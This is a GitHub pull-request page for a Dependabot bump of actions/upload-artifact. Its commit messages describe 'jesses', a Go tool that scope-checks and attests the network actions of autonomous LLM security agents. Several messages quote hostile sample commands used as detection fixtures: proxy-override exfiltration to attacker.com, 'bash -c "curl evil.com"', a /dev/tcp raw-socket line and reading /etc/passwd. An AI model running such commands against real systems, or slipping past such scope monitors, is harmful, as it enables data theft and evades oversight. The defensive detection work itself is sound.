Skip to content

ci(deps): bump actions/upload-artifact from 4 to 7 - #1

Closed
dependabot[bot] wants to merge 17 commits into
mainfrom
dependabot/github_actions/actions/upload-artifact-7
Closed

ci(deps): bump actions/upload-artifact from 4 to 7#1
dependabot[bot] wants to merge 17 commits into
mainfrom
dependabot/github_actions/actions/upload-artifact-7

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Apr 15, 2026

Copy link
Copy Markdown

Bumps actions/upload-artifact from 4 to 7.

Release notes

Sourced from actions/upload-artifact's releases.

v7.0.0

v7 What's new

Direct Uploads

Adds support for uploading single files directly (unzipped). Callers can set the new archive parameter to false to skip zipping the file during upload. Right now, we only support single files. The action will fail if the glob passed resolves to multiple files. The name parameter is also ignored with this setting. Instead, the name of the artifact will be the name of the uploaded file.

ESM

To support new versions of the @actions/* packages, we've upgraded the package to ESM.

What's Changed

New Contributors

Full Changelog: actions/upload-artifact@v6...v7.0.0

v6.0.0

v6 - What's new

[!IMPORTANT] actions/upload-artifact@v6 now runs on Node.js 24 (runs.using: node24) and requires a minimum Actions Runner version of 2.327.1. If you are using self-hosted runners, ensure they are updated before upgrading.

Node.js 24

This release updates the runtime to Node.js 24. v5 had preliminary support for Node.js 24, however this action was by default still running on Node.js 20. Now this action by default will run on Node.js 24.

What's Changed

Full Changelog: actions/upload-artifact@v5.0.0...v6.0.0

v5.0.0

What's Changed

BREAKING CHANGE: this update supports Node v24.x. This is not a breaking change per-se but we're treating it as such.

... (truncated)

Commits
  • 043fb46 Merge pull request #797 from actions/yacaovsnc/update-dependency
  • 634250c Include changes in typespec/ts-http-runtime 0.3.5
  • e454baa Readme: bump all the example versions to v7 (#796)
  • 74fad66 Update the readme with direct upload details (#795)
  • bbbca2d Support direct file uploads (#764)
  • 589182c Upgrade the module to ESM and bump dependencies (#762)
  • 47309c9 Merge pull request #754 from actions/Link-/add-proxy-integration-tests
  • 02a8460 Add proxy integration test
  • b7c566a Merge pull request #745 from actions/upload-artifact-v6-release
  • e516bc8 docs: correct description of Node.js 24 support in README
  • Additional commits viewable in compare view

jesses-bootstrap and others added 12 commits April 16, 2026 05:05
Day 0 scaffold for jesses — a cryptographic attestation standard for
security deliverables produced by autonomous LLM agents.

Locked decisions (see ARCHITECTURE.md §1):
- Language: Go (single static binary, no pip install adversarial surface)
- Format: in-toto ITE-6 envelope + new predicate type
  https://jesses.dev/v0.1/action-envelope
- Log structure: RFC 6962 Merkle tree (byte-exact Certificate Transparency)
- Anchors: OpenTimestamps (Bitcoin) + Rekor (Sigstore). No other blockchain.
- Pre-commitment: session-start SCT analog, MANDATORY (CT-inspired,
  defeats fabricate-entire-session attack)
- Key (v0.1): software ed25519; TPM/TEE deferred to v0.3
- Adoption lever: HackerOne as platform enforcer

Source voices integrated:
- Filippo Valsorda: language + ecosystem reuse (Sigstore/cosign/Rekor)
- Ben Laurie: Merkle tree + SCT pre-commitment (Certificate Transparency)
- Vitalik Buterin: on-chain minimization (single-party integrity problem,
  not multi-party consensus; OpenTimestamps sufficient)

Threat model: submitter-as-adversary. Seven attacks, six mathematically
defeated at v0.1, one (interleaved fakes) closed economically pending TEE
attestation in v0.3. See THREAT_MODEL.md.

No executable code in this commit. Day 1+ lands internal/merkle with
RFC 6962 test vector conformance. See ARCHITECTURE.md §8 for the 5-day
build order.
…ommit + roadmap

## internal/merkle — RFC 6962 byte-exact

- tree.go: HashLeaf (0x00 domain), HashChildren (0x01 domain), RootHash,
  RootFromLeafHashes, mth, largestPow2Less
- inclusion.go: InclusionProof generation (PATH algorithm), VerifyInclusion
  (iterative per §2.1.1.2)
- consistency.go: ConsistencyProof generation (SUBPROOF algorithm),
  VerifyConsistency (per §2.1.4.2)
- doc.go: package-level spec reference
- rfc6962_test.go: 19 tests, all green
  - empty tree, leaf hash, internal hash (structural checks)
  - 1/2/3/4/5-leaf trees (manual structural verification)
  - largestPow2Less boundary cases
  - TestInclusionAllIndices: every index in trees of size 1..33
    (exhaustive — catches any path/verify mismatch)
  - tamper detection: wrong leaf, wrong index, single-byte proof mutation
  - TestConsistencyAllPairs: every (m,n) pair for n in 1..12
  - tamper detection + m=0 and m=n edge cases

Zero external dependencies. stdlib only (crypto/sha256 + errors).
This is the trust anchor for every jesses attestation — dependency
minimalism is deliberate, auditable by a single reader in one sitting.

## internal/audit — canonical append-only log

- record.go: Event struct with stable field ordering (reorder breaks
  every past leaf hash — do not reorder)
- canonical.go: CanonicalJSON — deterministic via Go json.Marshal
  (struct field declaration order + sorted map keys since 1.12)
- writer.go: Writer with per-Append flock, sync.Mutex for in-process
  serialization, O_APPEND for cross-process atomicity below PIPE_BUF
- writer_unix.go: syscall.Flock binding with !windows build tag
- writer_test.go: 6 tests, all green
  - append + read-back round-trip across 3 events
  - canonical determinism (same Event → same bytes, twice)
  - canonical map-order stability (maps with different insertion order
    produce identical canonical bytes)
  - concurrent append: 8 workers × 50 events each = 400 records,
    no interleaving, no loss, all records parse
  - Close idempotent
  - Append after Close returns ErrWriterClosed

## governance pre-commit (README)

Pre-launch irrevocable commitment: primitive forever, neutral foundation
governance before v1.0, no monetization, enterprise services only layered
on top. Rooted in Solomon Hykes's Docker post-mortem — every primitive
that became a product was forked when the owner chose to monetize. jesses
will not be that primitive.

## ROADMAP.md — 90-day plan

Strategic bet: C — Platform-first via Immunefi (not regulator, not hunter
broadcast). Rationale: only one 'yes' needed; Immunefi is the softest
target (crypto-native, small team, acute AI-submission quality pain that
jesses directly solves); reference integration unlocks copies.

Week 1-4: v0.1 shippable per ARCHITECTURE.md §8
Week 5-8: first-user cohort (personal outreach to 10 top hunters,
  three platform trust-team conversations, TypeScript verifier commission,
  public launch, ENISA regulatory submission)
Week 9-12: second-language verifier ships, jesses Foundation announced,
  v0.2 dev branch opens

Day 90 success criteria: 5 binary conditions, miss any one = re-evaluate.

Direction meeting voices integrated: Katie Moussouris (standards politics),
Patrick Collison (developer experience compounding), Solomon Hykes
(primitive-vs-product discipline).

## Day 1 acceptance

go build ./...     : passes
go vet ./...       : passes
go test ./...      : 25/25 green on first run

Next: Day 2 (internal/policy 4-namespace parser + internal/hook dispatcher
+ 9 tool extractors)
…xclusion-first precedence

## parser.go

Line-oriented plain-text parser for scope.txt. Handles:
- mode: directive (advisory | strict, default advisory)
- in: / out: rule lines
- # comments (full-line and inline " #")
- blank lines

Shape-based namespace classification (no explicit namespace declarations
needed for the common cases):
- "path:<glob>"          -> NSPath
- "mcp:<server>[:<tool>]" -> NSMCP
- "<chain>:0x<hex>"      -> NSContract (validated hex)
- "<org>/<repo>" (no '.', no ':') -> NSRepo
- anything else          -> NSHost

Output: Policy{Mode, []Rule, SHA256 of raw bytes, Raw}
Errors: *ParseError with line number for diagnostics.
ParseError carries the offending line; Parse(io.Reader) and ParseBytes
are both exposed.

## matcher.go — 5 namespace match modes, zero regex

- matchHost: case-insensitive exact + "*.domain" anchored subdomain
  matching. The anchored form is the critical invariant defended by
  TestAnchoredSubdomain: "*.target.com" must NOT match "evil-target.com"
  via naive suffix matching. This is the bug scope_checker.py in the
  bb/ harness specifically guarded against, reproduced here bit-for-bit.
- matchPath: multi-segment glob with * / ** / ? support. Implemented as
  strings.Split on "/" + segment-by-segment path.Match + "**" handled as
  a multi-segment wildcard via backtracking (zero or more segments).
  No regex, no external dependency — stdlib path.Match only.
- matchRepo: exact (case-sensitive for v0.1; case-folding deferred to v0.2).
- matchContract: strings.EqualFold — EIP-55 checksum case tolerant.
- matchMCP: exact OR prefix followed by ':' (never partial-string match).

## precedence.go — exclusion-first evaluation

Every "out:" rule is checked before any "in:" rule. This matches user
intuition: "*.github.com allow, but blog.github.com out" — users expect
exclusion to win even when listed later in the file.

Unpoliced destinations (no rule matches) resolve based on mode:
- strict   -> VerdictBlock, reason "unpoliced (strict mode)"
- advisory -> VerdictWarn,  reason "unpoliced (advisory mode)"

Verdicts: allow / warn / block. Each Decision carries the matching
rule's source line number for diagnostics.

## Test coverage

Total: 30 tests, all green on first run.

- parser_test.go: basic parse, default mode, inline comment, hash
  comment, blank lines, invalid mode, invalid line, empty rule value,
  SHA-256 length, line number tracking, 14 shape-classification cases,
  io.Reader adapter, mode-anywhere behavior
- matcher_test.go: TestAnchoredSubdomain (4 must-match + 5 must-not-match,
  including "evil-target.com" regression), exact match, empty wildcard,
  14 path glob cases (including ** edge cases and character classes),
  repo match, contract match, 7 MCP match cases, Rule.Match dispatch
- precedence_test.go: exclusion-first, first-match-wins within in:,
  unpoliced advisory vs strict, namespace isolation, 12-case
  mixed-namespace matrix, decision reasons, stringer methods

## Day 2.1 acceptance (ROADMAP day 8-9)

go build ./...   : pass
go vet ./...     : pass
go test ./...    : 54 total (24 day 1 + 30 day 2.1), 54/54 green
TestAnchoredSubdomain: pass (the scope_checker.py invariant holds)

Next: Day 2.2 — internal/shellparse/ (RFC-free bash tokenizer + subshell
re-entry + wrapper unwrap + /dev/tcp detection) and
internal/hook/extractors/bash/ (per-tool positional parser + proxy
override + destinations extraction), with 50+ golden fixtures seeded
from bb/.claude/hooks/scope-guard.sh and THREAT_MODEL.md §1 attacks.
Design rationale now stands on its own merit without borrowing authority
from named individuals. The technical claims (Go single binary, in-toto
ITE-6, RFC 6962 Merkle tree, OpenTimestamps + Rekor, SCT-style
pre-commitment, exclusion-first policy evaluation, submitter-as-
adversary threat model) are unchanged — only the attribution is removed.

Affected files:
- README.md: status blurb + Governance pre-commit paragraph rewritten
  to reference the Docker / Docker Hub monetization split as a generic
  cautionary case rather than a personal quote
- ARCHITECTURE.md: §1 "Source voice" column renamed "Rationale" and all
  row content rewritten to name-free form; §10 "Source voices credited"
  rewritten as an axis-based synthesis summary
- ROADMAP.md: "Integrated voices" lines removed or replaced with
  "axes"; table "Source" column renamed "Rationale"; quoted sentences
  from named individuals rewritten as impersonal project principles
- CHANGELOG.md: [Unreleased] attribution phrasing depersonalized
- THREAT_MODEL.md: §3 quote attribution replaced with "The principle
  CT leans on"

No code files changed. All tests remain green.
…+ segment operators

First slice of the bash extractor. Focused POSIX shell tokenizer, not a
full grammar parser. Handles exactly what jesses needs for destination
extraction:

- Five command separators (; | || & &&) plus newline.
- Three quoting modes: single quotes literal, double quotes with
  POSIX-compliant escapes ($ ` " \ newline), backslash outside quotes
  with line continuation.
- Adjacent quoted-run concatenation (foo'bar'"baz" -> one word foobarbaz).
  This is the `eval "cur""l evil.com"` concatenation-to-hide pattern.
- Subshell ($(...), <(...), backticks) preserved as literal word content
  for the segment splitter to recurse into.

Deliberately not implemented: arrays, here-docs, functions, control
flow, arithmetic, parameter expansion beyond literal preservation. Full
bash grammar is an order of magnitude larger and irrelevant to scope
extraction.

## Test coverage — 29 tests, all green on first run

- empty / whitespace-only input
- single and multi-word tokenization
- single-quote literal + empty + content-preservation
- double-quote with all five escape cases + literal-other-backslash
- adjacent-quote concatenation (the eval-hide pattern)
- backslash escape + operator + space + line continuation + trailing
- all five operators + newline, alone and chained without spaces
- quoted operators remain literal content
- IsSeparator helper correctness
- unterminated-quote error paths
- subshell / backtick preserved as literal content
- five real-world adversarial scenarios:
  * curl --proxy http://evil ... (proxy override on the wire)
  * sudo curl ... (wrapper)
  * HTTPS_PROXY=http://evil curl ... (env assignment)
  * bash -c "curl evil.com" (re-entry payload)
  * cat < /dev/tcp/evil.com/443 (raw TCP redirection)
- Start offset tracking for diagnostics

## Acceptance

go build ./...   : pass
go vet ./...     : pass
go test ./internal/shellparse/... : 29/29 green on first run
total across repo: 83 tests (24 day 1 + 30 day 2.1 + 29 day 2.2a)

## Next: Day 2.2b — segment splitter + subshell recursion

Consumes the Token stream from this tokenizer. Walks separators to
produce Segments (top-level command runs). Recurses into $(...), <(...),
and backticks by extracting their body content and re-invoking Tokenize.
Unwraps wrapper commands (sudo, env, time, nice, timeout, stdbuf, xargs).
Re-enters bash -c and eval string payloads by taking the quoted
payload's Value and tokenizing it as fresh input.
## docs/BUILD_LOG.md (new)

Canonical narrative build log. Each phase gets scope, deliverables, test
count, pass criteria, and critical invariants.

Sections:
- Overview — what jesses is, primitive-vs-product stance
- Build phases — Day 0 / Day 1 / Day 2.1 / docs scrub / Day 2.2a
- Current state — 6 commits, 4 packages, 83 tests, zero external deps
- Next milestone — Day 2.2b segment splitter scope
- Decision log — Chosen / Deferred / Rejected with rationale
- Session resume protocol — how a fresh session picks up work

Designed to be the single document a returning maintainer reads to
reconstruct development history without grepping commit messages.

## CHANGELOG.md (extended)

Previously only had Day 0 entry. Now includes Day 1, Day 2.1, docs
scrub, Day 2.2a, and docs/BUILD_LOG.md itself. Cross-linked to
BUILD_LOG for narrative detail. Follows Keep-a-Changelog conventions.

## Maintenance note

These docs are alongside-code artifacts. Every future build phase must
append a new entry to BUILD_LOG.md and a bullet group to CHANGELOG.md
in the same commit that ships the code. See the Session resume protocol
in BUILD_LOG for the maintenance ritual.
Turns a flat shell string into a structured Command tree with every
destination the command could touch — including ones hidden inside
eval, $(...), bash -c, proxy overrides, and /dev/tcp raw sockets.

Six-stage buildCommand pipeline per segment:
  1. capture original argv (token order)
  2. strip leading NAME=VALUE env assignments
  3. extract redirects (spaced + unspaced, fd-aware, rejects <( as proc-sub)
  4. peel wrappers left-to-right (sudo, env, timeout, chroot, ...)
  5. scan env/argv/redirect-targets for substitutions, recurse at depth+1
  6. detect bash -c / eval and re-tokenize payload at depth+1

Key architecture: fuseSubstitutions pre-pass in Split stitches tokens
that the tokenizer split across whitespace or separators whenever
they belong to a single unclosed $(...) / <(...) / >(...) / `...`.
Without this, `$(cat /etc/passwd | head -1)` would die unbalanced
because the pipe separator would split the body into fragments.

Tokenizer additions (backward-compatible):
  - context-sensitive & for >&, <&, &>, &>> (so 2>&1 stays one WORD)
  - TokenType.MarshalJSON emits symbolic names so golden fixtures
    survive iota reordering

Frozen invariants (any change requires spec version bump — they
determine canonical Merkle leaf hashes downstream):
  - wrapperTable: 13 entries (sudo env time nice timeout stdbuf xargs
    nohup exec setsid ionice chroot unshare)
  - reentryShells: {bash,sh,dash,zsh,ksh} + common absolute paths
  - MaxDepth = 8 (eval bomb ceiling)
  - Command / Redirect / Substitution JSON shape
  - Origin tags: top / subshell / backtick / proc-in / proc-out /
    bash-c / eval

Tests: 94 unit + 12 golden + 11 fuzz seeds. Cumulative 177 (merkle
18, audit 6, policy 30, shellparse 123). go vet clean. Zero deps.

Golden corpus: 12 real-world attacker patterns under
testdata/segments/ — HTTPS_PROXY override, sudo exfil, bash -c
stage-two, eval concat hiding, /dev/tcp reverse shell, <() diff
exfil, three-layer eval bomb, stacked wrappers, backtick exfil, etc.

Performance (AMD Ryzen 5 5600, hook-path budget):
  SplitSimple         3.1 μs/op
  SplitAdversarial   14.6 μs/op  (eval + subshell + wrapper + redir)
  SplitLarge          133 μs/op  (100-segment pipeline)

Fuzz: 1.2M execs at 170k/s in 10s, zero panics, 299 new-interesting
inputs captured. Parser input contract holds for arbitrary bytes.
Turns a shellparse.Command tree into a flat slice of Destination
records — one per host/port/path pair the command could reach,
with a Source field naming exactly where in argv, env, wrapper, or
redirect each destination came from.

Per-tool parsers in tools.go + curl.go cover the tools that matter
most for detecting agent-generated network activity:
  - curl (full flag grammar, --resolve, --connect-to, proxy flags)
  - wget, httpx, HTTPie, nuclei, gau, katana, waybackurls (URL arg)
  - dig/host/nslookup (DNS query + @server)
  - nc/ncat (tcp/udp, listen-mode excluded)
  - nmap/masscan (scan targets)
  - ssh (user@host:port, -J jump, -o ProxyCommand=)
  - scp/sftp/rsync (user@host:path)
  - git clone/fetch/push/remote-add
  - sqlmap -u, ffuf -u, gobuster -u
  - npm/pip/cargo with URL deps

Cross-cutting:
  - proxy.go extracts HTTPS_PROXY/HTTP_PROXY/ALL_PROXY/FTP_PROXY/
    SOCKS_PROXY from both Command.Env and env-wrapper assignments,
    emitted as Kind="proxy:<scheme>"
  - /dev/tcp and /dev/udp recognized as redirect targets AND as
    plain argv tokens
  - Substitution bodies ($() <() `` backtick `` proc-sub) recurse
    with Source prefixed "subst[i:kind]"
  - bash -c / eval payloads recurse with Source prefixed "reentry[i]"

Destination shape:
  Kind   — http|https|tcp|udp|dns|ssh|git|proxy|scan-target|
           resolve-override|resolved-ip|connect-to-logical|
           connect-to-physical|ssh-jump|ssh-proxy-command|unknown
  Host   — hostname or IP
  Port   — "" means default for Kind
  Path   — URL path, scp-style remote path
  Raw    — original token for audit trace
  Source — "argv[3]" | "env[HTTPS_PROXY]" | "wrapper[env][0:FOO]" |
           "redirect[0:<]" | "subst[1:cmd].argv[2]" | ...
  Depth  — from Command.Depth (0 = top)

Stacked adversarial test passes:
  sudo env HTTPS_PROXY=http://attacker.com:8080 timeout 30 \
    curl --resolve api.target.com:443:10.1.2.3 \
         https://api.target.com/secrets
  →  attacker.com:8080 (proxy from env wrapper)
  →  10.1.2.3 (resolved IP)
  →  api.target.com:443 (resolve logical)
  →  api.target.com (primary HTTPS)

23 tests, zero deps, go vet clean.
Ships the whole v0.1 product surface. The pieces are mutually
dependent enough that splitting commits would leave half-wired code
in main.

internal/rekor/
  - Client interface (Upload/Fetch) consumed by session + verify
  - HTTPClient for rekor.sigstore.dev v2 JSON API (20s default timeout)
  - FakeClient for tests and offline CI (deterministic LogID)

internal/precommit/
  - Compute + Submit for the session-start SCT-analog receipt
    (session_id | scope_hash | pub_key | timestamp, schema v0.1)
  - Verify re-derives canonical body and checks LogEntry.BodyHash.
  - Without this step A3 (fabricate-entire-session) is undetectable.
    No --skip-precommit flag — the security value requires this.

internal/session/
  - Open: generate ID -> hash scope -> Submit precommit (blocking)
    -> open audit writer -> write precommit as event 0.
  - Append auto-assigns Seq, accumulates canonical-JSON Merkle leaves.
  - Close returns Finalized bundle (ID, timings, scope hash, keys,
    merkle root, leaf count, precommit receipt). Envelope build
    happens in attest so cmd/jesses controls final shape.

internal/attest/
  - in-toto ITE-6 envelope with predicate URI
    https://jesses.dev/v0.1/action-envelope
  - Build/Parse/WriteFile/ReadFile round-trip byte-exactly.
  - DSSE-shaped JSON without full PAE at v0.1 (PAE → v0.2 for
    cosign compatibility).

internal/verify/
  - Six gates: G1 signature, G2 merkle root recompute, G3 rekor
    precommit hash match (+ optional fetch), G4 scope.txt hash,
    G5 policy compliance (no deny events in log), G6 OTS anchor
    (advisory at v0.1).
  - Render() prints a 6-line triage-friendly summary.
  - E2E tests: happy path, tampered log → G2 fails, denied event
    → G5 fails, envelope round-trip byte-exact.

cmd/jesses/
  - verify  — 6-gate check with --offline / --json flags
  - view    — localhost HTTP server, 60s TTL, opens default
              browser, embedded single-page viewer (dark-mode
              timeline, CSP default-src 'self')
  - run     — wrap one shell command → session-of-one .jes
  - hook    — stdin-driven for agent harnesses; reads line-JSON
              tool events, evaluates scope, echoes decision,
              finalizes envelope on {"_action":"close"}
  - init-scope — scaffolds scope.txt with 5-namespace examples
  - Static binary, stdlib flag parsing only, no cobra/kingpin.

E2E smoke test passes end-to-end:
  init-scope → hook(fake rekor) → 1 allow + 1 deny → close
  → verify shows ✓G1 ✓G2 ✓G3 ✓G4 ✗G5 ⚠G6 → exit 1 (correct:
  agent tried to escape scope even though the hook blocked it).

204 tests across 6 packages, go vet clean, zero external deps.

Deferred: OTS anchor generation wiring, TypeScript verifier,
Sigstore cosign PAE compatibility, multi-operator Rekor
federation. Tracked in BUILD_LOG.md as v0.1.1 / v0.2 work.
Four product surfaces added on top of the Day 2.2b–Day 5 foundation:

1. Extractor dispatch layer (internal/extractors/{dispatch,path,web,mcp})

   Tool name from the raw event routes to the right sub-extractor:
     bash   → shellparse + internal/extractors/bash
     read/write/edit/notebookedit → path.ExtractRead / Write
     glob/grep → path.ExtractGlob / Grep
     webfetch → web.ExtractFetch
     websearch → web.ExtractSearch
     mcp:* / mcp__*__* → mcp.Extract (handles both naming schemes)
     task/agent → no-op (nested agents spawn their own hook)
     anything else → empty destinations (fail-safe)

   hook.go and pkg/jesses no longer contain tool-name switches —
   adding a new harness tool means editing dispatch.go alone.

2. OpenTimestamps anchoring (internal/ots)

   Client interface (Submit), HTTPClient for the public OTS calendar
   at alice.btc.calendar.opentimestamps.org, FakeClient for tests.
   session.Open takes an optional OTS client; session.Close submits
   the final Merkle root digest and embeds the pending Receipt in
   the envelope's Predicate.OTSReceipt field.

   Verify G6 reads the receipt and reports:
     no receipt   → "no OTS client configured (Rekor is mandatory)"
     pending      → "pending bitcoin confirmation — submitted to <cal>"
     confirmed    → Pass=true, "anchored in bitcoin via <cal>"
     error        → "anchor submission failed: <err>"
   G6 stays advisory at v0.1 — Rekor (G3) carries the mandatory
   pre-commit trust.

   session.Close signature changes to Close(ctx) so OTS submission
   respects cancellation. All callers updated.

3. Public API (pkg/jesses)

   Stable surface for external Go programs embedding jesses into a
   custom harness:
     jesses.Open(ctx, OpenOptions) → *Session
     session.Process(raw) → Decision  (evaluates policy, writes log)
     session.Close(ctx, envPath) → []byte   (persists the envelope)
     session.Finalize(ctx) → Envelope       (in-memory streaming)
     jesses.Verify(ctx, VerifyOptions) → Report
     jesses.NewFakeRekor() / NewFakeOTS()   (test helpers)

   Two tests prove the contract end-to-end: happy path with 3
   events (2 allow + 1 deny → G5 fails as expected) and an
   in-memory Finalize path that never touches disk.

   internal/* may churn; pkg/jesses is the v0.1 compatibility boundary.

4. CLI product surfaces (cmd/jesses)

   - `jesses stats <file.jes>` — one-screen hygiene dashboard:
     event count, allow/warn/deny ratio, unique hosts / paths,
     top-10 tools and hosts, quick verdict line. --json emits the
     machine-readable form.

   - `jesses view --follow <file.jes>` — live mode: re-reads the
     audit log on every /api/events request (typ. 2s from the
     viewer's auto-poller) so an analyst in a browser watches the
     timeline grow while the session runs in another terminal. A
     yellow "● live — polling every 2s" banner shows follow state.
     Envelope can be missing at startup (session still active) and
     will appear in the viewer once it's written.

   - `jesses hook --ots <cal>` — opt-in OpenTimestamps anchoring.
     Default calendar stays opt-in to keep offline / CI flows fast.
     --fake-rekor now also enables fake OTS for deterministic tests.

E2E demo (reproducible):
  printf 'bash:curl target.com\nwebfetch:target.com/docs\nbash:HTTPS_PROXY=evil.com curl target.com\nread:/tmp/foo\nbash:curl attacker.com\n{"_action":"close"}' | jesses hook --fake-rekor
  → 3 allow, 2 deny (attacker.com + HTTPS_PROXY override both caught)
  jesses stats session.jes
  → dashboard with 6 events, 3 hosts, 1 path, deny count

214 tests across 8 test packages, go vet clean, zero external deps.
Breakdown: merkle 18, audit 6, policy 30, shellparse 123,
extractors/bash 23, extractors/dispatch 7, verify 4, pkg/jesses 2.
…CO + dependabot

Adds the automation half of the OSS infrastructure pass. Documentation
and governance landed in 75e1f69; this commit wires the CI surface that
the README badges point at and that branch protection will require.

.github/workflows/
  ci.yml         test -race matrix across {linux,macos,windows} × {1.22,1.23},
                 golangci-lint, govulncheck, go-mod-tidy drift check,
                 reproducible-build verification (-trimpath -buildid=)
  codeql.yml     GitHub-native SAST (Go), security-and-quality query set,
                 weekly schedule, uploaded to Security tab
  scorecard.yml  OpenSSF Scorecard weekly; SARIF to code-scanning; public
                 publication so the README badge resolves
  dco.yml        sign-off enforcement on every PR (CONTRIBUTING.md contract)
  release.yml    tag-triggered: GoReleaser + cosign v3 keyless (Fulcio +
                 Rekor) + SLSA Build L3 via slsa-github-generator +
                 SBOM (SPDX + CycloneDX via syft) + self-attestation slot

.github/dependabot.yml   weekly gomod + github-actions bumps; keeps action
                         SHA pins current when they land pre-v0.1

.golangci.yml            22 linters on, depguard enforces the internal/
                         zero-external-dependency invariant
.goreleaser.yaml         reproducible multi-platform build (trimpath,
                         buildid=, CGO off, mod_timestamp from commit),
                         cosign --bundle signing per artifact, both SBOM
                         formats, verify-blob instructions in release notes

Taskfile.yml             placeholder echoes replaced with real commands
                         (race+cover test, golangci-lint, govulncheck,
                         trimpath build, go mod tidy check, snapshot
                         release dry run)

.gitignore               .architecture.json, .aider*, .cursor/ added

ARCHITECTURE.md          auto-tracker line-count refresh (21→33 files)

Before v0.1 release: run stepsecurity/secure-repo (or equivalent) to
convert @vX.Y.Z tags to pinned commit SHAs so Scorecard's
Pinned-Dependencies check passes. Dependabot then maintains them.

Signed-off-by: hybirdss <oinkm@naver.com>
@dependabot @github

dependabot Bot commented on behalf of github Apr 15, 2026

Copy link
Copy Markdown
Author

Labels

The following labels could not be found: ci, dependencies. Please create them before Dependabot can add them to a pull request.

Please fix the above issues or remove invalid values from dependabot.yml.

@cubic-dev-ai cubic-dev-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found across 2 files

Replaces tim-actions/dco@v1.1.0 with a self-contained shell check that:
- allowlists bot commits (author name ending [bot]) — Dependabot and
  similar tooling cannot produce DCO sign-offs, and their machine-
  generated commits trivially satisfy the DCO's "I wrote it" assertion
- drops the pull_request_target trigger; pull_request alone is
  sufficient for a read-only check and avoids the pull_request_target
  privilege-escalation class
- prints a per-commit pass/fail/allowlisted summary and a remediation
  hint when any non-bot commit is missing sign-off

Same policy as kubernetes, sigstore/cosign, and other CNCF projects.

The three dependabot PRs currently open will pass DCO on their next
synchronize event.

Signed-off-by: hybirdss <oinkm@naver.com>
@Hybirdss

Copy link
Copy Markdown
Owner

@dependabot rebase

@dependabot
dependabot Bot force-pushed the dependabot/github_actions/actions/upload-artifact-7 branch from 2ad5d04 to b289636 Compare April 15, 2026 22:25
@coderabbitai

coderabbitai Bot commented Apr 15, 2026

Copy link
Copy Markdown

Warning

Rate limit exceeded

@dependabot[bot] has exceeded the limit for the number of commits that can be reviewed per hour. Please wait 9 minutes and 30 seconds before requesting another review.

Your organization is not enrolled in usage-based pricing. Contact your admin to enable usage-based pricing to continue reviews beyond the rate limit, or try again in 9 minutes and 30 seconds.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: fc29509c-6211-4102-b857-c1847ed448f5

📥 Commits

Reviewing files that changed from the base of the PR and between e02b129 and 5bbf677.

📒 Files selected for processing (2)
  • .github/workflows/ci.yml
  • .github/workflows/scorecard.yml
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch dependabot/github_actions/actions/upload-artifact-7

Comment @coderabbitai help to get the list of available commands and usage tips.

Two independent implementations producing byte-identical Reports on
the same inputs is what turns a tool into a standard. The Go
reference at internal/verify and the JavaScript second
implementation at verifier-js/ both pass every vector in
spec/test-vectors/v0.1/ byte-exactly. That is the compliance
contract.

spec/test-vectors/v0.1/
  happy-path/     — 3 allow events, G1-G5 pass, G6 advisory
  policy-breach/  — 1 deny event, G5 fails, others pass
  tampered-log/   — log flipped after sign, G2 fails
Each vector directory contains:
  session.jes     — the envelope under test
  session.log     — the audit log
  scope.txt       — the policy
  vector.json     — metadata + expected_report (the truth)

tools/specgen/
  Deterministic generator: fixed ed25519 seed, fixed timestamps,
  fixed session IDs, FakeClient rekor+ots. Re-running is a no-op
  when behavior is stable. A diff means a spec-breaking change —
  bump SchemaVersion.

  Invocation: go run ./tools/specgen ./spec/test-vectors/v0.1

internal/verify/spec_test.go
  TestSpecConformance iterates every vector and asserts that
  verify.Verify produces a Report byte-identical to
  vector.json.expected_report. The Go verifier is the reference.

internal/session/session.go
  New Config.OverrideID field so specgen can pin session IDs to a
  deterministic value. Production path unchanged — empty means
  "generate fresh random ID" as before.

verifier-js/
  Pure ES-module JavaScript verifier. Zero dependencies beyond
  Node 20+ built-ins (node:crypto, node:fs, node:path, node:url).

  canonical.mjs  — byte-exact reproduction of Go's Event serialization:
                   struct field declaration order, omitempty for nil
                   slices/empty maps/empty strings, alphabetical map
                   keys, Go encoding/json string escaping (\u003c for
                   <, \u003e for >, \u0026 for &, \bNNNN short forms
                   for control chars, \u2028/\u2029 for line seps)
  merkle.mjs     — RFC 6962 byte-exact with Certificate Transparency;
                   LEAF_PREFIX=0x00, NODE_PREFIX=0x01, largestPow2Less
                   split for n-leaf trees
  precommit.mjs  — canonical receipt body matching Go precommit.CanonicalBytes
                   (session_id, scope_hash, pub_key, timestamp, version
                   in that order)
  verify.mjs     — six gates G1-G6 with identical semantics:
                   G1 ed25519 verify via node:crypto (wraps raw 32-byte
                      pubkey in the SubjectPublicKeyInfo DER envelope
                      that Node's createPublicKey requires)
                   G2 Merkle root recompute, leaf count check
                   G3 precommit local hash match (+ optional online)
                   G4 scope.txt SHA-256 match
                   G5 scan log for non-allow/commit/warn decisions
                   G6 advisory OTS status
  test.mjs       — conformance runner; serializes Report with the same
                   field order as Go (gates field first with per-gate
                   name/title/pass/detail/severity order, then ok, then
                   session_id) and compares byte-for-byte

  Run: cd verifier-js && node test.mjs
  Expected output:
    ✓  happy-path
    ✓  policy-breach
    ✓  tampered-log
    3/3 vectors conform to Go reference implementation

Why this matters: the strategic plan (ROADMAP.md) committed to a
second-language verifier within 2 weeks of v0.1 reference release.
Shipping it the same day as the v0.1 reference proves the spec is
real — not a wishlist. Other language implementations (Rust, Swift,
TypeScript proper, Python) can now join by hosting verifier-<lang>/
under the same vector corpus.

218 Go tests + 3 JS vectors conforming. go vet clean. Zero external
deps in both implementations.
Two surfaces tuned for the v0.1 scaffold based on first-run CI feedback;
each exclusion documents the rationale and the condition for removal.

.golangci.yml
  - gocyclo threshold 20 → 35: shellparse has intrinsic branching on
    quoting / escapes / subshell nesting; splitting for complexity score
    harms legibility and the code is fuzz-tested in lieu
